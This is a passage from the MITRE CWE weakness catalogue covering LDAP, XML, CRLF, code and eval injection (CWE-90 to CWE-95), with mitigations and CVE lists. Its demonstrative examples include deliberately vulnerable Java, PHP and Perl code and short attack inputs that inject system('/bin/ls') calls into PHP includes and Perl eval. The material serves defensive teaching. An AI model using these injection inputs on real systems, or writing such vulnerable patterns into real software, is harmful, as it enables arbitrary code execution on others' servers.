[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID : 90 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1624

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Database Server *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands Read Application Data Modify Application Data *An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Demonstrative Examples

Example 1:

The code below constructs an LDAP query using user input address data:

Example Language: Java *(bad)*

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

Observed Examples

Reference	Description
CVE-2005-2301	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2301*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1871
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1896
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Relationship

Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems. Can be primary to authentication and verification errors.

Research Gap

Under-reported. This is likely found very frequently by third party code auditors, but there are very few publicly reported examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			LDAP injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	29		LDAP Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
136	LDAP Injection

References

[REF-879]SPI Dynamics. "Web Applications and LDAP Injection".

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID : 91 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", """, and "&", which could then be used to add new data or modify XML syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1263
ParentOf	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1278

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Read Application Data	
Availability	Modify Application Data	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1871
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1896
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	23		XML Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
83	XPath Injection
250	XML Injection

References

[REF-882]Amit Klein. "Blind XPath Injection". 2004 May 9. < http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Weakness ID : 93 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	251
CanPrecede	B	117	Improper Output Neutralization for Logs	266

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Avoid using CRLF as a special sequence.

Phase: Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

Demonstrative Examples

Example 1:

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

Example Language: Java *(bad)*

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

Observed Examples

Reference	Description
CVE-2002-1771	CRLF injection enables spam proxy (add mail headers) using email address or name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1771*
CVE-2002-1783	CRLF injection in API function arguments modify headers for outgoing requests. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1783*
CVE-2004-1513	Spoofed entries in web server log file via carriage returns *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1513*
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4624*
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1951*
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1687*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1871
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Probably under-studied, although gaining more prominence in 2005 as a result of interest in HTTP response splitting.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CRLF Injection

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	24		HTTP Request Splitting
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
81	Web Logs Tampering

References

[REF-928]Ulf Harnhammar. "CRLF Injection". Bugtraq. 2002 May 7. < http://marc.info/?l=bugtraq&m=102088154213630&w=2 >.

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID : 94 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	209

Nature	Type	ID	Name	Page
ParentOf	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	213
CanFollow	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Interpreted *(Prevalence = Sometimes)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *In some cases, injectable code controls authentication; this may lead to a remote vulnerability.*	
Access Control	Gain Privileges or Assume Identity *Injected code can access resources that the attacker is directly prevented from accessing.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.*	
Non-Repudiation	Hide Activities *Often the actions performed by injected control code are unlogged.*	

Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the

impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy = Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy = Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Demonstrative Examples

Example 1:

This example attempts to write user messages to a message file and allow users to view them.

Example Language: PHP *(bad)*

```
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language: *(attack)*

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language: *(attack)*

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl *(bad)*

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_$action_key(\$fname, \$key, \$val);";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
```

```
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key(",","); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key(",","); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

Reference	Description
CVE-2008-5071	Eval injection in PHP program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5071*
CVE-2002-1750	Eval injection in Perl program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1750*
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5305*
CVE-2002-1752	Direct code injection into Perl eval function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1752*
CVE-2002-1753	Eval injection in Perl program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1753*
CVE-2005-1527	Direct code injection into Perl eval function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1527*
CVE-2005-2837	Direct code injection into Perl eval function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2837*
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1921*
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2498*
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3302*
CVE-2007-1253	Eval injection in Python program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1253*
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1471*
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0495*
CVE-2005-1876	Direct PHP code injection into supporting template file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1876*
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1894*

Reference	Description
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0395*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Research Gap

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	CODE		Code Evaluation and Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
77	Manipulating User-Controlled Variables
242	Code Injection

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID : 95 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	94	Improper Control of Generation of Code ('Code Injection')	204

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Ruby *(Prevalence = Undetermined)*

Language : Interpreted *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data *The injected code could access restricted data / files.*	
Access Control	Bypass Protection Mechanism *In some cases, injectable code controls authentication; this may lead to a remote vulnerability.*	
Access Control	Gain Privileges or Assume Identity *Injected code can access resources that the attacker is directly prevented from accessing.*	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands *Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.*	
Non-Repudiation	Hide Activities *Often the actions performed by injected control code are unlogged.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If possible, refactor your code so that it does not need to use eval() at all.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Demonstrative Examples

Example 1:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl *(bad)*

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_$action_key(\$fname, \$key, \$val);";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
```

```
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language: *(attack)*

```
add_key(",","); system("/bin/ls");
```

This would produce the following string in handleConfigAction():

Example Language: *(result)*

```
config_file_add_key(","); system("/bin/ls");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

Reference	Description
CVE-2008-5071	Eval injection in PHP program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5071*
CVE-2002-1750	Eval injection in Perl program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1750*
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5305*
CVE-2002-1752	Direct code injection into Perl eval function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1752*
CVE-2002-1753	Eval injection in Perl program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1753*
CVE-2005-1527	Direct code injection into Perl eval function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1527*
CVE-2005-2837	Direct code injection into Perl eval function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2837*
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1921*
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2498*
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3302*
CVE-2007-1253	Eval injection in Python program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1253*
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1471
CVE-2007-2713	Chain: Execution after redirect triggers eval injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2713*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1871
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Other

